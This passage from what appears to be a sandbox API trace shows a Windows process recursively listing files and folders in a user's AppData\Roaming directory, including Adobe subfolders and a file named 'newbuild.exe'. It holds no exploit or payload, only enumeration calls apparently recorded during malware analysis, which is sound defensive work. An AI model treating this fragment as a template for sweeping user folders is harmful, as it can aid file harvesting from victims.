ftCreationTime.dwLowDateTime=0x1210e290, ftCreationTime.dwHighDateTime=0x1d5dbf3, ftLastAccessTime.dwLowDateTime=0x544aba80, ftLastAccessTime.dwHighDateTime=0x1d5e5e6, ftLastWriteTime.dwLowDateTime=0x544aba80, ftLastWriteTime.dwHighDateTime=0x1d5e5e6, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="kW5fmqW4_z.mp4", cAlternateFileName="KW5FMQ~1.MP4")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57eb8ec0, ftCreationTime.dwHighDateTime=0x1d5e303, ftLastAccessTime.dwLowDateTime=0xc45e8d30, ftLastAccessTime.dwHighDateTime=0x1d5ddce, ftLastWriteTime.dwLowDateTime=0xc45e8d30, ftLastWriteTime.dwHighDateTime=0x1d5ddce, nFileSizeHigh=0x0, nFileSizeLow=0xc25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LCbJETGa9i0NIdyg.gif", cAlternateFileName="LCBJET~1.GIF")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c61fb20, ftCreationTime.dwHighDateTime=0x1d5e330, ftLastAccessTime.dwLowDateTime=0x66c07cf0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0x66c07cf0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x8045, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeVC4R4Jy87myyMXKVE.mp3", cAlternateFileName="MEVC4R~1.MP3")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x722ca29e, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x722ca29e, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505f3a00, ftCreationTime.dwHighDateTime=0x1d5de47, ftLastAccessTime.dwLowDateTime=0x76560340, ftLastAccessTime.dwHighDateTime=0x1d5ddc2, ftLastWriteTime.dwLowDateTime=0x76560340, ftLastWriteTime.dwHighDateTime=0x1d5ddc2, nFileSizeHigh=0x0, nFileSizeLow=0x6ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPwOkD3sA M6DsljYpoq.avi", cAlternateFileName="MPWOKD~1.AVI")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf87a80, ftCreationTime.dwHighDateTime=0x1d5da4a, ftLastAccessTime.dwLowDateTime=0x41856ce0, ftLastAccessTime.dwHighDateTime=0x1d5e818, ftLastWriteTime.dwLowDateTime=0x41856ce0, ftLastWriteTime.dwHighDateTime=0x1d5e818, nFileSizeHigh=0x0, nFileSizeLow=0xd832, dwReserved0=0x0, dwReserved1=0x0, cFileName="MR3wg-qB6_.wav", cAlternateFileName="MR3WG-~1.WAV")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x10bf1d1d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1229c398, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="newbuild.exe", cAlternateFileName="")) returned 1 [0183.203] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71acdeb0, ftCreationTime.dwHighDateTime=0x1d5dcdf, ftLastAccessTime.dwLowDateTime=0x44d6f1f0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0x44d6f1f0, ftLastWriteTime.dwHighDateTime=0x1d5e851, nFileSizeHigh=0x0, nFileSizeLow=0xdcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjR 0EuiedsrIGvP5QlO.mp3", cAlternateFileName="PJR0EU~1.MP3")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a6c8d0, ftCreationTime.dwHighDateTime=0x1d5db76, ftLastAccessTime.dwLowDateTime=0x6bbf9820, ftLastAccessTime.dwHighDateTime=0x1d5e1e0, ftLastWriteTime.dwLowDateTime=0x6bbf9820, ftLastWriteTime.dwHighDateTime=0x1d5e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x12e27, dwReserved0=0x0, dwReserved1=0x0, cFileName="stS3pwNiH96hJ.bmp", cAlternateFileName="STS3PW~1.BMP")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbbf45a0, ftCreationTime.dwHighDateTime=0x1d5e4f6, ftLastAccessTime.dwLowDateTime=0x8828a010, ftLastAccessTime.dwHighDateTime=0x1d5dcdb, ftLastWriteTime.dwLowDateTime=0x8828a010, ftLastWriteTime.dwHighDateTime=0x1d5dcdb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="tW5A.pdf", cAlternateFileName="")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a7200, ftCreationTime.dwHighDateTime=0x1d5df2a, ftLastAccessTime.dwLowDateTime=0x2304be40, ftLastAccessTime.dwHighDateTime=0x1d5e7e8, ftLastWriteTime.dwLowDateTime=0x2304be40, ftLastWriteTime.dwHighDateTime=0x1d5e7e8, nFileSizeHigh=0x0, nFileSizeLow=0x3601, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6TCz_8Oy.mp3", cAlternateFileName="W6TCZ_~1.MP3")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f3e6c0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0x87a00c80, ftLastAccessTime.dwHighDateTime=0x1d5dfb7, ftLastWriteTime.dwLowDateTime=0x87a00c80, ftLastWriteTime.dwHighDateTime=0x1d5dfb7, nFileSizeHigh=0x0, nFileSizeLow=0xef21, dwReserved0=0x0, dwReserved1=0x0, cFileName="w8KoOSYOF-A fWE4vZ_.swf", cAlternateFileName="W8KOOS~1.SWF")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376920, ftCreationTime.dwHighDateTime=0x1d5e41b, ftLastAccessTime.dwLowDateTime=0xa6e40500, ftLastAccessTime.dwHighDateTime=0x1d5dccf, ftLastWriteTime.dwLowDateTime=0xa6e40500, ftLastWriteTime.dwHighDateTime=0x1d5dccf, nFileSizeHigh=0x0, nFileSizeLow=0x17880, dwReserved0=0x0, dwReserved1=0x0, cFileName="xkgQf.mp3", cAlternateFileName="")) returned 1 [0183.204] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83be210, ftCreationTime.dwHighDateTime=0x1d5ddba, ftLastAccessTime.dwLowDateTime=0xb60a7b30, ftLastAccessTime.dwHighDateTime=0x1d5dfe6, ftLastWriteTime.dwLowDateTime=0xb60a7b30, ftLastWriteTime.dwHighDateTime=0x1d5dfe6, nFileSizeHigh=0x0, nFileSizeLow=0x12f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xYqMl0QZB.jpg", cAlternateFileName="XYQML0~1.JPG")) returned 1 [0183.205] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5835560, ftCreationTime.dwHighDateTime=0x1d5de2f, ftLastAccessTime.dwLowDateTime=0x100c04a0, ftLastAccessTime.dwHighDateTime=0x1d5e6e5, ftLastWriteTime.dwLowDateTime=0x100c04a0, ftLastWriteTime.dwHighDateTime=0x1d5e6e5, nFileSizeHigh=0x0, nFileSizeLow=0x60cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="yVsYWfkbRY3d8YshBfvx.m4a", cAlternateFileName="YVSYWF~1.M4A")) returned 1 [0183.205] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89081020, ftCreationTime.dwHighDateTime=0x1d5df37, ftLastAccessTime.dwLowDateTime=0xb8685290, ftLastAccessTime.dwHighDateTime=0x1d5e36e, ftLastWriteTime.dwLowDateTime=0xb8685290, ftLastWriteTime.dwHighDateTime=0x1d5e36e, nFileSizeHigh=0x0, nFileSizeLow=0xd6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="zKrD6DIzr.mp3", cAlternateFileName="ZKRD6D~1.MP3")) returned 1 [0183.205] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 1 [0183.205] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 0 [0183.205] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d8) returned 1 [0183.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e4) returned 1 [0183.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0183.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0183.206] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0183.246] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.246] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0183.246] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0183.246] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0183.247] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0183.247] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0183.247] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0183.247] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0183.247] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0183.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0183.248] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.249] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.249] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0183.249] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0183.249] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0183.250] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0183.250] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0183.250] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0183.250] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.250] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0183.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0183.251] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.252] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.252] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, 